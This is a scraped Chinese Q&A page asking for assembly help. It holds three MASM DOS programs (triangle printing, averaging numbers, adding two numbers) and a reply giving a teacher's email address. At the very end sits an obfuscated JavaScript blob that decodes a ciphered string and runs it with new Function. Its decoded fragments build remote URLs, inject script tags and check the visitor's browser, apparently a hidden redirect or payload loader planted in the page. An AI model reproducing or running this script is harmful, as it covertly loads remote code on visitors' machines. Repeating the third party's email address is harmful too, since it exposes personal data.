急急!汇编高手请进!

2025-02-07 08:44:45
推荐回答(2个)
回答1:

1、

assume cs:code, ss:stack
option casemap :none

stack segment
db 256 dup (?)
stack ends

trangle proto stdcall :WORD, :WORD

code segment
start:
mov ax, stack
mov ss, ax
mov sp, 256

invoke trangle, 7, '*'
invoke trangle, 7, '2'

mov ax, 4c00h
int 21h

trangle proc stdcall uses ax dx si di,
@rows :WORD, @symbol :WORD
xor di, di
mov ah, 2h
mov dl, byte ptr [@symbol]

xor di, di
.while di < @rows
xor si, si
.while si <= di
int 21h
inc si
.endw
inc di

mov dl, 13
int 21h
mov dl, 10
int 21h
mov dl, byte ptr [@symbol]
.endw
ret
trangle endp

code ends
end start

2、

assume cs:code, ds:datas, ss:stack
option casemap :none

NUMVARS equ 50

datas segment
var dd NUMVARS dup (?)
cnt dd 0
sum dd 0

ave dd 0
frc dd 0

hrd dd 100
flg dw 0
szErr db 'overflow',0
szNum db 'Enter the number of variables: ',0
szEnt db 'Enter these %_ numbers, use space or enter key as delimiter:', 13,10,0
szSum db 'Sum: %_',13,10,0
szAve db 'Average: %_.%_',13,10,0
szByd db 'Beyond average: ',0
szPhd db '%_ ',0
szTmn db 'Too many numbers',13,10,0
datas ends

stack segment
db 256 dup (?)
stack ends

input proto stdcall
iout proto stdcall :DWORD
print proto c :WORD, :VARARG

code segment
start:
mov ax, datas
mov ds, ax
mov ax, stack
mov ss, ax
mov sp, 256

invoke print, offset szNum
invoke input
mov word ptr [cnt], ax

cmp word ptr [cnt], NUMVARS
jg error_too_many

invoke print, offset szEnt, cnt
xor cx, cx
xor di, di

.while cx < word ptr [cnt]
invoke input
mov word ptr var[di], ax
mov word ptr var[di+2], dx
fild sum
fiadd var[di]
fistp sum
add di, 4
inc cx
.endw

finit
fild hrd
fild sum
fidiv cnt
fist ave

fimul hrd
fprem
fistp frc

invoke print, offset szSum, sum
invoke print, offset szAve, ave, frc

invoke print, offset szByd
xor di, di
xor cx, cx

finit
.while cx < word ptr [cnt]
fild var[di]
ficomp ave
fnstsw flg
mov ax, flg
sahf
jna @F
invoke print, offset szPhd, var[di]
@@:
add di, 4
inc cx
.endw
jmp done
error_too_many:
invoke print, offset szTmn
done:
mov ax, 4c00h
int 21h

;-------------------------------
; input proc
;-------------------------------
input proc near stdcall uses di
local @in_buf[12] :BYTE,
@in_num :DWORD,
@in_ten :WORD,
@in_tmp :WORD

mov word ptr [@in_num], 0
mov word ptr [@in_num+2], 0
mov @in_ten, 10
mov @in_tmp, 0

mov ah, 1h
xor di, di

.while 1
cmp di, 11
jge @in_error
int 21h
cmp al, 13
jz @in_newline
cmp al, ' '
jz @in_done0
mov @in_buf[di], al
inc di
.endw

@in_newline:
mov ah, 2h
mov dl, 13
int 21h
mov dl, 10
int 21h

@in_done0:
dec di

finit
fnstcw @in_tmp
or @in_tmp, 0c00h
fldcw @in_tmp
fld1

.while 1
cmp di, 0
jl @in_done1
xor ax, ax
mov al, @in_buf[di]
and al, 0Fh

mov @in_tmp, ax
fild @in_tmp
fmul st, st(1)
fiadd @in_num
fistp @in_num
fimul @in_ten
dec di
.endw

@in_error:
invoke print, offset szErr

@in_done1:
mov ax, word ptr [@in_num]
mov dx, word ptr [@in_num+2]

ret
input endp

;-------------------------------
; format output
;-------------------------------
print proc near c uses ax bx dx di si,
@szFmt :WORD, @args :VARARG
mov bx, @szFmt

xor di, di
mov si, 6
mov ah, 2h

.while byte ptr [bx+di] != 0
mov dx, [bx+di]
.if dx == 5f25h
invoke iout, [bp+si]
inc di
add si, 4
.else
int 21h
.endif

inc di
.endw
ret
print endp

;-------------------------------
; integer output
;-------------------------------
iout proc near stdcall uses ax dx di,
@arg :DWORD
local rmd :WORD, tmp :WORD, buf[16] :BYTE

finit
fnstcw tmp
or tmp, 0c00h
fldcw tmp

mov tmp, 10
fild word ptr [tmp]
xor di, di

.while word ptr [@arg] || word ptr [@arg+2]
fild @arg
fild @arg
fidiv tmp
fistp @arg
fprem
fistp word ptr [rmd]
mov dl, byte ptr [rmd]
or dl, 30h
mov buf[di], dl

inc di
.endw

dec di
mov ah, 2h

.if di & 8000h
mov dl, '0'
int 21h
.else
.while 1
cmp di, 0
.break .if sign?
mov dl, buf[di]
int 21h
dec di
.endw
.endif

ret
iout endp

code ends
end start

3、

assume cs:code, ss:stack, ds:datas
option casemap :none

datas segment
num1 dd ?
num2 dd ?
num3 dd 1
szErr db 'overflow',0
szNum db 'Enter num%_: ',0
szRes db '%_ + %_ = %_',0
datas ends

stack segment
db 256 dup (?)
stack ends

m2w macro dest
mov word ptr [dest], ax
mov word ptr [dest+2], dx
endm

input proto stdcall
iout proto stdcall :DWORD
print proto c :WORD, :VARARG

code segment
start:
mov ax, datas
mov ds, ax
mov ax, stack
mov ss, ax
mov sp, 256

invoke print, offset szNum, num3
invoke input
m2w num1

mov word ptr [num3], 2

invoke print, offset szNum, num3
invoke input
m2w num2

finit
fild num1
fiadd num2
fistp num3

invoke print, offset szRes, num1, num2, num3

mov ax, 4c00h
int 21h

;-------------------------------
; input proc
;-------------------------------
input proc near stdcall uses di
local @in_buf[12] :BYTE,
@in_num :DWORD,
@in_ten :WORD,
@in_tmp :WORD

mov word ptr [@in_num], 0
mov word ptr [@in_num+2], 0
mov @in_ten, 10
mov @in_tmp, 0

mov ah, 1h
xor di, di

.while 1
cmp di, 11
jge @in_error
int 21h
cmp al, 13
jz @in_newline
cmp al, ' '
jz @in_done0
mov @in_buf[di], al
inc di
.endw

@in_newline:
mov ah, 2h
mov dl, 13
int 21h
mov dl, 10
int 21h

@in_done0:
dec di

finit
fnstcw @in_tmp
or @in_tmp, 0c00h
fldcw @in_tmp
fld1

.while 1
cmp di, 0
jl @in_done1
xor ax, ax
mov al, @in_buf[di]
and al, 0Fh

mov @in_tmp, ax
fild @in_tmp
fmul st, st(1)
fiadd @in_num
fistp @in_num
fimul @in_ten
dec di
.endw

@in_error:
invoke print, offset szErr

@in_done1:
mov ax, word ptr [@in_num]
mov dx, word ptr [@in_num+2]

ret
input endp

;-------------------------------
; format output
;-------------------------------
print proc near c uses ax bx dx di si,
@szFmt :WORD, @args :VARARG
mov bx, @szFmt

xor di, di
mov si, 6
mov ah, 2h

.while byte ptr [bx+di] != 0
mov dx, [bx+di]
.if dx == 5f25h
invoke iout, [bp+si]
inc di
add si, 4
.else
int 21h
.endif

inc di
.endw
ret
print endp

;-------------------------------
; integer output
;-------------------------------
iout proc near stdcall uses ax dx di,
@arg :DWORD
local rmd :WORD, tmp :WORD, buf[16] :BYTE

finit
fnstcw tmp
or tmp, 0c00h
fldcw tmp

mov tmp, 10
fild word ptr [tmp]
xor di, di

.while word ptr [@arg] || word ptr [@arg+2]
fild @arg
fild @arg
fidiv tmp
fistp @arg
fprem
fistp word ptr [rmd]
mov dl, byte ptr [rmd]
or dl, 30h
mov buf[di], dl

inc di
.endw

dec di
mov ah, 2h

.if di & 8000h
mov dl, '0'
int 21h
.else
.while 1
cmp di, 0
.break .if sign?
mov dl, buf[di]
int 21h
dec di
.endw
.endif

ret
iout endp

code ends
end start

回答2:

给你个EMIALL.自己去问吧,是我班主任的,他是汇编高手.
jym@cztvu.com

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();